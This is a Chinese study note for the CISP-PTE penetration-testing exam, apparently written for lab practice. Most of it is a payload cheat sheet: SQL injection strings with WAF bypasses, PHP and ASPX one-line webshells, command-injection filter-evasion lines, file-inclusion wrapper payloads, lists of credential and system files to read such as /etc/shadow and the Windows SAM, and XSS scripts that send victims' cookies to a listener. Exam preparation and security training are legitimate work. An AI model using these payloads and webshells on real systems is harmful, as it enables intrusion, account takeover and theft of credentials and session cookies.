Contents

2021 CISP-PTE 笔记

SQL注入

  • 联合查询注入 : union all语句,联合查询语句用于操作符用于合并两个或多个 SELECT 语句的结果集,all的意思允许存在重复的结果集。

    考点
    联合查询注入技巧就是注意语句的闭合以及WAF的绕过。

    1
    
    id=-1 union all select 1,2,3,4,5 -- -
    
  • 基于报错注入 : updatexml函数是一个更新xml文档的函数,由于updatexml的第二个参数需要Xpath格式的字符串,以0x7e开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,最终会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了

    考点
    报错注入技巧就是靠背格式,0x7e可以替换为1也可以替换成~,但是推荐使用0x7e,不然会出现显示不全的情况。

    1
    
    id=-1' or updatexml(1,concat(0x7e,(select version()),0x7e),1)-- -
    
  • 二次注入 : 当我们注册一个admin'#账户并用这个账户修改密码时

    • 环境:/sqli-labs-master/Less-24/
    • 二次注入SQL语句:
    1
    
    use `security`; UPDATE users SET PASSWORD='123456789' where username='admin'#' and password='12345678'
    

    简单理解一下。最终实际的SQL语句:

    1
    
    UPDATE users SET PASSWORD='123456789' where username='admin'
    

    /aboutpte/1.png

  • 基于时间的盲注 : benchmark函数与sleep函数,benchmark函数是Mysql的一个内置函数,其作用是来测试一些函数的执行速度,而sleep函数就是一个延迟函数,时间盲注的特点就是根据服务端的响应时间来判断,所以实际做题中最好把浏览器中的F12开启,方面对照,下面演示两种方法的语法

    • 第一种方式:执行1000000000000次md5加L1917,实战中可以用于SQL DDOS
    1
    
    select benchmark (1000000000000,md5("L1917"))
    
    • 利用benchmark延时函数判断数据库版本
    1
    
    id=1' and if (substring(@@version,1,1)=5,benchmark(1000000,md5("L1917")),null)-- -
    
    • 第二种方式:
    1
    
    id=1' and if (substring(@@version,1,1)=5,sleep(5),null)-- -
    
  • 基于布尔的盲注asciiif两种方式,ascii是一个加密函数,用于加密文本为成ascii码,if则是一个判断函数

    • 第一种方式:ascii加密由substr函数分割出来的第一位数字,当这个数字的ascii码等于53时,页面返回True
    1
    
    id=1' and ascii(substr(@@version,1,1))=53-- -
    
    • 第二种方式:if判断由substr函数分割出来的第一位数字是否等于5,是则返回True
    1
    
    ?id=1' and if((substr(@@version,1,1))=5,1,null)-- -
    
  • 堆叠注入 :先理解堆查询与联合查询注入的区别,堆查询是以分号;结束一条SQL语句,而联合查询是将两条语句合并在一起执行,区别在于堆查询可以执行任意的SQL语句类型,而联合查询执行的语句类型有限。

    1
    
    id=1;create table test like security
    
  • 宽字节注入:概念理解,当某字符的大小为一个字节时,称其字符为窄字节,当某字符的大小为两个字节时,称其字符为宽字节,而所有英文默认占一个字节,汉字占两个字节,为什么有宽字节注入?程序员为了防止sql注入,对用户输入中的单引号(’)进行处理,在单引号前加上斜杠(\)进行转义,处理过后的单引号不能起闭合作用了,因为其单引号已经被转移成‘内容‘。

    理解
    语句被没有使用单引号闭合,而是用%df%27组成一个運字去绕过闭合。

    1
    
    id=-1%df%27 union select 1,(database()),3-- -
    
  • POST型注入/Cookie 注入/HTTP 头部注入与SQLMAP:一般这种注入类型都需要通过Burp抓包去做,也可能直接使用SQLMAP跑(无WAF的情况下),这里需要讲的一点星号*,在SQLMAP中一般在存在SQL注入参数后面接星号*,HTTP 头部注入一般存在于Referer与User-Agent这两个参数。Burp抓包然后另存为sql.txt:

    1
    2
    3
    4
    5
    6
    7
    
    POST index.php?id=1* HTTP/1.1
    Host: 127.0.0.1
    Connection: close
    Accept: */*
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
    Referer: https://127.0.0.1/
    Cookie: 111
    
    1
    2
    
    POST SQLMAP:sqlmap.py -r sql.txt --batch --level 5 --risk 3
    GET SQLMAP:sqlmap.py -u http://xxx?id=1* --batch --level 5 --risk 3
    
  • 注入绕过技巧总结:

    空格绕过
    空格绕过:/**/,%a0,%0a,括号绕过空格
    id=-1'/**/union/**/all/**/select 1,2,3-- -
    关键字绕过
    关键字绕过:双写,大小写绕过,其它函数代替
    id=-1' ununionion select 1,2,3 -- - id=-1' UnIOn SEleCt 1,2,3 -- -
    引号绕过:使用十六进制加密
    id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273-- -
    逗号绕过:利用from
    1' and if (substring(@@version from 1 for 1)=5,sleep(5),null)-- -
    比较符号绕过:between
    id=1' and if((substr(@@version,1,1)) between 5 and 5,1,null)-- -

    or and xor not绕过
    and=&& or=|| xor=| not=!

    注释绕过
    -- - # --+


文件上传

  • 思路:先修改Content-type头上传PHP测试能否上传(判断是否为MiME绕过),然后再上传一张正常的图片jpg格式,在后面插入一句话木马,测试是否能上传(判断文件内容头校验绕过跟内容检验绕过),都不是那只有黑名单或白名单或者条件竞争了,考虑到考证,白名单有点无解,而且没有提供Fuzz字典,条件竞争难道系数太高,那应该就是黑名单绕过,思路有两种:测试能否上传.htaccess或者.user.ini文件

    1
    2
    3
    4
    5
    6
    7
    
    .htaccess文件一句话:setHeadler application/x-httpd-php
    .user.ini文件格式:
    
    GIF89a                  
    auto_prepend_file=a.jpg 
    
    使用.user.ini文件绕过一句话木马应该写成:<script language='php'> @eval($_POST['pass']);</script>
    

    不行就绕后缀,%00截断、php大小写、php3、php4、phtml、空格绕过、pht、phps,这里建议用靶机给的图片马当Webshell,然后自己绕后缀

    • 一句话木马:

      • aspx马一句话

        1
        
        <%@ Page Language="Jscript"%><%eval(Request.Item["lbw"],"unsafe");%>
        
      • 条件竞争php马

        1
        
        <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["test"])?>');?>
        
      • 系统命令执行马:

        1
        2
        
        <?php echo `$_REQUEST[lbw]`; ?>
        <?php passthru($_REQUEST[lbw]);?>
        
    • Apache文件解析问题

      • 在Apache1.x、2.x中,对文件名解析有以下特性,Apache对于文件名的解析是从后往前解析的,直到遇一个Apache认识的文件类型为止,如以下例子,因为Apache不认识.rar文件类型,所以会一直遍历到后缀.php,然后认为这个一个PHP类型的文件。

        1
        
        lbwnb.php.rar.rar.rar.rar.rar.rar.rar.rar
        
    • IIS解析的问题

      • 在IIS6中,分号;字符可以截断文件名,如,最终结果将会解析webshell.asp

        1
        
        webshell.asp;abc.jpg
        
      • 在IIS6中,还可能因为处理文件夹扩展名出错,导致/*.asp/目录下的所有文件都会被当做ASP文件解析,如以下例子,这里的webshell.jpg最终会被当作ASP文件作解析。

        1
        
        http://localhost/path/webshell.asp/webshell.jpg
        
      • IIS中的PUT任意文件上传问题,可以先使用OPTIONS探测服务器信息是否开启并支持PUT任意文件上传,还可以使用MOVE改名。

    • PHP CGI路径问题

      • 当上传一个这样的文件的时候,dasdadsa.php是不存在文件,php CGI会将123.jpg当作PHP来解析

        1
        
        http://localhost/path/123.jpg/dasdadsa.php
        

代码执行/命令执行

  • 思路:重点知道怎么绕过

    • 空格过滤绕过:$IFS、<>、%09(要求php环境)

      1
      2
      3
      
      127.0.0.1|sort$IFS../key.php
      127.0.0.1|sort<>../key.php
      127.0.0.1|sort%09../key.php
      
    • 管道符绕过:分号;、&、&&

    1
    2
    3
    
    127.0.0.1;sort ../key.php
    127.0.0.1&sort ../key.php
    127.0.0.1&&sort ../key.php
    
    • 消除后缀:%20%23
    1
    
    sort ../key.php%20%23
    
    • 黑名单绕过:字符拼接、单双引号、反斜杠、通配符
    1
    2
    3
    4
    
    127.0.0.1|a=lbw;b=so;c=rt;d=..;e=x/ke;f=y.ph;g=p;$b$c<>$d$e$f$g
    127.0.0.1|c""a""t ..''/''key.php
    127.0.0.1|c\a\t .\.\/\k\e\y\.\p\h\p
    127.0.0.1|sort ../k??.???
    
    • cat命令绕过:more、less、head、tac、tail、nl、od、vi、vim、sort、uniq、file-f、grep

      1
      
      127.0.0.1|sort ../key.php
      

文件包含

  • 思路:记住几个伪协议的使用方法,如果遇到POST型的回调马且密码为z0的记得用菜刀连

    • php://filter可以作为一个中间流来处理其他流,这个伪协议的作用是指定php文件的源码以base64方式编码并被显示出来

      1
      
      php://filter/read=convert.base64-encode/resource=../key.php
      
    • 利用data协议执行php语句,注意一点是,php语句要用base64加密,遇到加密后的+号要转换成URL编码%2b

      1
      
      data://text/plain;base64,<?php?>
      
    • php://input 在POST 请求的情况下可以访问请求的原始数据的只读流,可以理解为利用这个协议可以使用POST的方式执行php语句

      1
      2
      
      php://input
      POST:<?php system("ls") ;?>
      
    • file=phar://协议可以读取压缩包里边的内容,比如我们将一个压缩包命名为lbw.jpg,用file=phar://函数我们就可以读取到压缩包里面的lbw文件

      1
      
      file=phar://upload/lbw.jpg/lbw
      
    • Windwos环境下的敏感文件:

       1
       2
       3
       4
       5
       6
       7
       8
       9
      10
      11
      12
      13
      14
      15
      16
      
      
      C:\boot.ini //查看系统版本
      
      C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
      
      C:\Windows\repair\sam //存储系统初次安装的密码
      
      C:\Program Files\mysql\my.ini //Mysql配置
      
      C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
      
      C:\Windows\php.ini //php配置信息
      
      C:\Windows\my.ini //Mysql配置信息
      
      C:\Windows\win.ini //Windows系统的一个基本系统配置文件
      
    • Linux环境下的敏感文件:

       1
       2
       3
       4
       5
       6
       7
       8
       9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      
      
      /root/.ssh/known_hosts //记录每个访问计算机用户的公钥
      
      /etc/passwd //账户信息
      
      /etc/shadow	//账户信息
      
      /etc/my.cnf //mysql配置文件
      
      /etc/httpd/conf/httpd.conf //apache配置文件
      
      /root/.bash_history //用户历史命令记录文件
      
      /root/.mysql_history //mysql历史命令记录文件
      
      /proc/mounts //记录系统挂载设备
      
      /porc/config.gz //内核配置文件
      
      /var/lib/mlocate/mlocate.db //全文件路径
      
      /porc/self/cmdline //当前进程的cmdline参数
      

日志分析

  • 思路:用notepad++一点一点的筛选,用搜索功能搜索一下有没有敏感词,比如flag、key、shell、admin、phpmyadmin等等,然后设为标记行后把非标记行全部删除,再次利用同样的方式筛选出200状态码的标记一下,然后把非标记行删掉,最后只剩那么几行,然后肉眼看一下有什么敏感的目录或者敏感文件。

爆破

  • 爆破题目暂时分三种情况吧

    • 第一种是是验证码复用/验证码绕过,验证码复用就是验证码永远不会过期,并不经过后端校验,可直接使用Burp爆破,同理,验证码绕过也是,不经过后端校验,只是前端验证,删除验证码参数后照样可以发包的情况下,就存在验证码绕过。

      /aboutpte/2.png

      /aboutpte/3.png

    • 第二种情况是利用用户枚举进行密码爆破,随便输入一个账户提示账户不存在的情况,需要我们先爆破存在账号,再进行存在账号的密码爆破

      /aboutpte/4.png

    • 第三种是复杂类型的爆破,比如撞库爆破、Token爆破

      具体做法(token):https://www.cnblogs.com/ApricityJ/p/12628962.html

      撞库爆破:与token爆破差不多,pte应该考不上。


XSS

  • 第一种:http的方式接收cookie,考虑到如果到时候没有php环境,所以推荐使用js脚本反连打cookie

    • XSS 打Cookie一句话

      1
      
      <script>window.location='http://127.0.0.1:8080/x'+document.cookie;</script>
      
    • python开启web

      1
      
      python -m SimpleHTTPServer 端口
      
  • 第二种:nc接收的方式,跟第一种方法差不多,先监听端口

    1
    
    nc -nlvp 7260
    

    然后插XSS payload:

    1
    2
    3
    
    <script type="text/javascript">
    document.location='127.0.0.1:6666/x'+escape(document.cookie);
    </script>
    

技巧

  • 如果没有思路题目做不出来或者思路卡死了,谷歌浏览器URL输入:localhost:3443,AWVS功能很强大,基础题除了日志分析,基本上都可以扫描出来,并提供上Payload,awvs的账户密码存放在攻击机的桌面上。